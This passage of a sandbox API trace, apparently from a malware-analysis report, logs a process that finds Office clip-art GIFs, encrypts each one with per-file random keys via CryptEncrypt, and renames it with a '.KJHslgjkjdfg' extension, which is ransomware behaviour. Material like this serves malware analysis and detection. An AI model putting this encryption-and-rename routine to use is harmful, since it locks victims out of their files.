[0250.312] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.312] SetEndOfFile (hFile=0x130) returned 1 [0250.315] GetProcessHeap () returned 0x2ef0000 [0250.315] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.315] GetProcessHeap () returned 0x2ef0000 [0250.315] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.315] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01301_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01301_.gif.kjhslgjkjdfg")) returned 1 [0250.317] CloseHandle (hObject=0x130) returned 1 [0250.317] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7a0ea00, ftCreationTime.dwHighDateTime=0x1bd4e4a, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a0ea00, ftLastWriteTime.dwHighDateTime=0x1bd4e4a, nFileSizeHigh=0x0, nFileSizeLow=0x2076, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01304G.GIF", cAlternateFileName="")) returned 1 [0250.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.318] GetProcessHeap () returned 0x2ef0000 [0250.318] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.318] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.318] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.318] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0250.320] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.320] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.320] GetProcessHeap () returned 0x2ef0000 [0250.320] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0250.321] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0250.321] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.321] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0250.321] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.321] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0250.321] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0250.321] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0250.321] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.321] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.321] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.321] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.321] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2076, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2076, lpOverlapped=0x0) returned 1 [0250.559] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2080, dwBufLen=0x2080 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2080) returned 1 [0250.559] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.559] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2080, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2080, lpOverlapped=0x0) returned 1 [0250.559] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.559] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2154, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.559] SetEndOfFile (hFile=0x130) returned 1 [0250.562] GetProcessHeap () returned 0x2ef0000 [0250.562] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.562] GetProcessHeap () returned 0x2ef0000 [0250.562] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.562] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif.kjhslgjkjdfg")) returned 1 [0250.564] CloseHandle (hObject=0x130) returned 1 [0250.564] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4c9d300, ftCreationTime.dwHighDateTime=0x1bd4e62, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4c9d300, ftLastWriteTime.dwHighDateTime=0x1bd4e62, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01330_.GIF", cAlternateFileName="")) returned 1 [0250.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.566] GetProcessHeap () returned 0x2ef0000 [0250.566] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.566] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.566] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.566] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0250.581] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.581] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.581] GetProcessHeap () returned 0x2ef0000 [0250.581] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0250.581] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0250.581] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.581] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0250.581] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.582] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0250.582] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0250.582] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0250.582] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.582] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.582] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.582] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.582] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x172, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x172, lpOverlapped=0x0) returned 1 [0250.582] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x180, dwBufLen=0x180 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x180) returned 1 [0250.582] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.582] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x180, lpOverlapped=0x0) returned 1 [0250.583] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.583] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.583] SetEndOfFile (hFile=0x130) returned 1 [0250.585] GetProcessHeap () returned 0x2ef0000 [0250.585] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.585] GetProcessHeap () returned 0x2ef0000 [0250.585] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.585] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif.kjhslgjkjdfg")) returned 1 [0250.588] CloseHandle (hObject=0x130) returned 1 [0250.588] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x976a4300, ftCreationTime.dwHighDateTime=0x1bd4e6c, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x976a4300, ftLastWriteTime.dwHighDateTime=0x1bd4e6c, nFileSizeHigh=0x0, nFileSizeLow=0x899, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01734_.GIF", cAlternateFileName="")) returned 1 [0250.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.589] GetProcessHeap () returned 0x2ef0000 [0250.589] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.589] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.590] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.590] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x7, lpOverlapped=0x0) returned 1 [0250.591] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.591] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.591] GetProcessHeap () returned 0x2ef0000 [0250.592] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0250.592] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0250.592] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.592] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0250.592] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.592] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0250.592] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0250.592] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0250.592] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.592] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.592] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.592] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.592] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x899, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x899, lpOverlapped=0x0) returned 1 [0250.592] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8a0, dwBufLen=0x8a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8a0) returned 1 [0250.592] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.592] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8a0, lpOverlapped=0x0) returned 1 [0250.593] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.593] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x974, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.593] SetEndOfFile (hFile=0x130) returned 1 [0250.595] GetProcessHeap () returned 0x2ef0000 [0250.595] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.595] GetProcessHeap () returned 0x2ef0000 [0250.595] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.595] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif.kjhslgjkjdfg")) returned 1 [0250.596] CloseHandle (hObject=0x130) returned 1 [0250.596] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b18d700, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b18d700, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01740_.GIF", cAlternateFileName="")) returned 1 [0250.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01740_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.597] GetProcessHeap () returned 0x2ef0000 [0250.597] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.597] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.597] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.598] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xd, lpOverlapped=0x0) returned 1 [0250.599] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.599] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.599] GetProcessHeap () returned 0x2ef0000 [0250.599] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0250.599] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0250.599] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.599] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0250.599] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.599] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0250.599] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0250.600] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0250.600] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.600] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.600] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.600] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.600] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2c3, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2c3, lpOverlapped=0x0) returned 1 [0250.600] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2d0) returned 1 [0250.600] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.600] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2d0, lpOverlapped=0x0) returned 1 [0250.600] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.600] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.600] SetEndOfFile (hFile=0x130) returned 1 [0250.602] GetProcessHeap () returned 0x2ef0000 [0250.602] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.602] GetProcessHeap () returned 0x2ef0000 [0250.602] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.602] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01740_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01740_.gif.kjhslgjkjdfg")) returned 1 [0250.604] CloseHandle (hObject=0x130) returned 1 [0250.604] 